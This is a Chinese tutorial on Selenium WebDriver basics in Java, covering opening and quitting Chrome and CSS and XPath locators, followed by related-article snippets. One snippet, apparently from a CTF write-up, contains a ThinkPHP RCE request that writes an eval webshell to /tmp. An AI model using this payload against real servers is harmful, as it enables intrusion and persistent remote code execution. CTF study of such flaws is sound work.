自动化测试Seleniums~2

news/2024/11/25 23:05:21/

webdriver API

1.如何打开网页以及如何关闭一个浏览器。

package test_20230107;import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;import static java.lang.Thread.sleep;public class Test {public static void main(String[] args) throws InterruptedException {test01();}private static void test01() throws InterruptedException{// 创建一个chrome浏览器驱动// ① 启动了驱动这个服务(进程)// ② 打开Chorme浏览器WebDriver webDriver = new ChromeDriver();// 打开百度首页webDriver.get("https://www.baidu.com/");// 休眠3秒// 让程序执行到这个地方的时候,停留3秒sleep(3000);// 浏览器推出webDriver.quit();}
}

退出并关闭窗口:browser.quit() 和 browser.close()

两者的区别是: close方法关闭当前的浏览器窗口;quit方法不仅关闭窗口,还会彻底的退出webdriver,释放与driver server之间的连接。所以简单来说quit是更加彻底的close,quit会更好的释放资源,推荐一般使用browser.quit()

2.元素的定位

在 UI 自动化里面,定位元素是一个非常重要的操作。

① css定位

CSS(Cascading Style Sheets)是一种语言,它被用来描述HTML 和XML 文档的表现。

CSS 使用选择器来为页面元素绑定属性。这些选择器可以被selenium 用作另外的定位策略。

css 定位

1》通过 id 选择器定位         #kw

2》class 选择器定位            .s_ipt ----(.class值)

3》标签选择器定位元素       标签值

4》父级子级定位元素           from < span < input:nth-child(2)

② XPath 定位

什么是XPath:http://www.w3.org/TR/xpath/

XPath 基础教程:http://www.w3schools.com/xpath/default.asp

XPath 是一种在XML 文档中定位元素的语言。因为HTML 可以看做XML 的一种实现,所以selenium 用 户可是使用这种强大语言在web 应用中定位元素。

XPath 扩展了上面id 和name 定位方式,提供了很多种可能性。

XPath 定位 :

1》绝对路径:/html/body/div[1]

2》相对路径定位元素://

    ① 相对路径 + 索引:

    ② 相对路径 + 属性:

    ③ 相对路径 + 通配符

    ④ 相对路径 + 文本

③ 总结

css 选择器,XPath定位前端元素的一种语法;

XPath定位元素效率没有css选择器定位元素的效率高。


http://www.ppmy.cn/news/10489.html

相关文章

把mac验证开展下去

有一段时间&#xff0c;我疯狂发了很多邮件。 觉得都非常具有逻辑性&#xff0c;而且也非常有意义。 但是却没有被执行。 我很失落。 其实别人也说了&#xff0c;这个很好。会参考。 仅此而已。 有一次我提了&#xff0c;有一个模板&#xff0c;一个结果&#xff0c;只要做…

Python实现检测图片中的人脸,将识别到的人脸向量存入数据库,并实现提交的图片的人脸信息与入库的人脸信息进行比对

facenet_face_regonistant 完整代码下载地址&#xff1a;Python实现检测图片中的人脸&#xff0c;将识别到的人脸向量存入数据库 利用facenet实现检测图片中的人脸&#xff0c;将识别到的人脸向量存入数据库&#xff0c;此外利用post提交一个新图片&#xff08;也可以提交一个…

(强制)类型转换方法

目录 一、C语言中的类型转换 二、C中的强制类型转换 2.1 static_cast 2.2 reinterpret_cast 2.3 const_cast 2.4 dynamic_cast 2.5 总结 一、C语言中的类型转换 在C语言中&#xff0c;若赋值运算符左右两侧类型不同&#xff0c;或者形参与实参类型不匹配&#xff0c;或…

Linux应用编程---3.wait()函数

Linux应用编程—3.wait()函数 ​ 首先引入三个函数&#xff0c;我们通过在Linux终端下查阅它的作用与使用方法。 ​ Linux终端命令下输入&#xff1a;man exit&#xff0c;敲击回车键即可打开exit函数详情页。 图1 exit编程手册​ exit函数的作用是终止一般进程&#xff0c;没…

setMouseTacking(true) 没有效果?

描述 一般来讲&#xff0c;我们希望实现在mouseMoveEvent中获取当前鼠标的位置&#xff0c;以触发一些自定义的鼠标hover特效。在这种情形下需要启动mouse tacking才能达到效果&#xff0c;原因是mouseMoveEvent默认是在鼠标按下后才会触发。>> QWidget::mouseMoveEvent…

ArrayList | 简单的洗牌算法

一个洗牌程序需要包含&#xff1a; 创建一副扑克牌&#xff08;除去大小王剩下52张&#xff0c;每种花色13张&#xff09;。洗牌&#xff0c;打乱牌的顺序。揭牌&#xff0c;每位玩家轮流揭牌&#xff0c;从洗完后的牌组中获得自己的牌。因此&#xff0c;我们可以依照以下思路来…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

力扣sql入门篇(一)

力扣sql入门篇(一) 1 两人之间的通话天数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 两个人之间的通话需要统计成一次 SELECT from_id person1,to_id person2,count(*) call_count,sum(duration) total_duration FROM Calls GROUP BY least(f…